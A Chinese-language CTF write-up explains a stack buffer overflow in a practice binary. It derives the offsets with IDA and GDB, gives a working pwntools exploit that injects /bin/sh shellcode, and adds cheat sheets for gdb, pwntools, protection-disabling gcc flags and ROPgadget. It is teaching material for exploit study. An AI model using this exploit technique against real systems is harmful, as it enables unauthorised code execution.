0x01 程序分析
我们首先将二进制文件拖入IDA中,按F5进行反编译,main函数如图,只是调用了foo函数。
查看foo函数,foo函数进行了两个操作,输出和输入功能。输出了局部变量buf的十六进制地址,并从键盘读入最多0x100个无符号数给buf。很明显对于一个只有1字节的char类型的buf来说,0x100u远远超过,此处存在溢出点。
此时栈情况如图所示。
根据IDA初步分析可以得到,buf与EBP相差0x1C个字节,所以我们覆盖EIP需要输入0x1C+0x4个填充字符,再4个字节是shellcode首地址,我们将shellcode安排在xxx所在的位置。而XXX所在位置通过程序printf输出可以计算得到(0x1C+0x4+0x4)。这样我们就可以实现栈溢出了。
如果计算麻烦或者不确定,就需要调试了,这一次我们不用ollydbg,我们使用linux平台下的GDB,还安装了插件peda。
输入以下指令进入gdb
首先需要找到ida中foo函数溢出点位置
disassemble /m foo
查看foo函数反汇编代码,同理我们可以通过此指令查看其他函数的反汇编。
可以看出我们的溢出点在foo+40这个位置,所以我们在该位置设下断点以便调试。
b *foo+45
在foo+45地址下断点,也可使用b 0x08048518。 使用指令
i b
指令可以查看断点情况。
r
运行程序,程序将停在断点处
我们可以看到寄存器、反汇编、栈当前状态。我们现在最关心的是栈区情况。
p $ebp
运行该指令我们可以查看寄存器的值
当前页面栈区显示有限,我们可以使用指令stack 20查看栈区更详细的信息。
这样我们也可以用(0xc8-0xac=0x1c)计算出填充到EBP数据字节数。同理储存返回地址(EIP)为0x1c+0x4,而shellcode的起始地址为0x1c+0x4+0x4。返回地址需要覆盖的地址为他所在地址下4个字节。所以通过printf打印出的buf地址我们就可以计算出所有我们需要的地址。
0x02 exp编写
#-*- coding: utf-8 -*-
#pwn2_exp.py
from pwn import *
#context设置运行环境,根据32位和64位的不同而转换汇编
context(os='linux',arch='i386',log_level='debug')
#加载本地程序pwn2
pwn = process('./pwn2')
#如果想加载端口监听的程序,格式如下
#可使用指令 ncat -l 9527 -c ./pwn2 将程序挂在端口9527
#pwn = remote("127.0.0.1",9527)
#此处通过接受打印信息提取出buf的地址
bufAddr = pwn.recvline()
#取出\n并转换为int类型10进制
bufAddr = int(bufAddr[:-1],16)
#EBP
payload = 'A' * 0x1C + 'A' * 0x4
#生成shellcode
shell = asm(shellcraft.i386.linux.sh())
#计算长度EIP
shellAddr = bufAddr + len(payload) + 0x4
payload += p32(shellAddr)
payload += shell
pwn.sendline(payload)
#程序与用户交互模式
pwn.interactive()
用pwntools我们可以很容易的编写exp,运行exp获取到shell。
参考:https://www.k2zone.cn/?p=2225
附录:
gdb常用命令汇总
命令 | 作用 |
---|---|
disassemble func_name | 反汇编指定函数 |
b *func+15 | 下断点 |
i b | 查看断点 |
delete 1 | 删除1号断点 |
next | 单步执行,不进入函数 |
step | 单步追踪 |
stack 10 | 查看栈区内容 |
p $ebp | 查看寄存器内容 |
r | 运行程序 |
x 0x804a00c | 查看地址内容 |
pwntools使用汇总
from pwn import *
# 加载程序1.本地,2.远程
p = process('./stack')
p = remote("127.0.0.1",9527)
# 向程序发送数据,末尾自动加\n
p.sendline(b'a'*10+p64(0x382920))
# 向程序发送数据,末尾不加\n
p.send()
# 从程序接收数据,可以在参数指定接收数据字节数
p.recv([,int len])
# 接收到指定数据为止
p.recvuntil('a'*10+'\n')
# 切换到交互模式
p.interactive()
# 将数据打包为指定长度bytes
p64(0x12323)、p32(0x54532)
u64()、u32()
gcc常用编译命令
gcc stack.c -o stack
-z execstack 关闭可修改数据不可执行保护机制
-fno-stack-protector 关闭canary栈溢出防护机制
-no-pie 关闭可执行程序地址随机化加载
-m32 编译生成32位程序
ROPgadget用法ROPgadget --binary rop
# 寻找gadgetROPgadget --binary rop --only 'pop|ret' | grep 'eax'
# 查找可存储寄存器的代码ROPgadget --binary rop --string "/bin/sh"
# 查找字符串ROPgadget --binary rop --only 'int'
# 查找有int 0x80的地址
常见操作命令:checksec rop
# 查看保护机制readelf rop
# 查看程序信息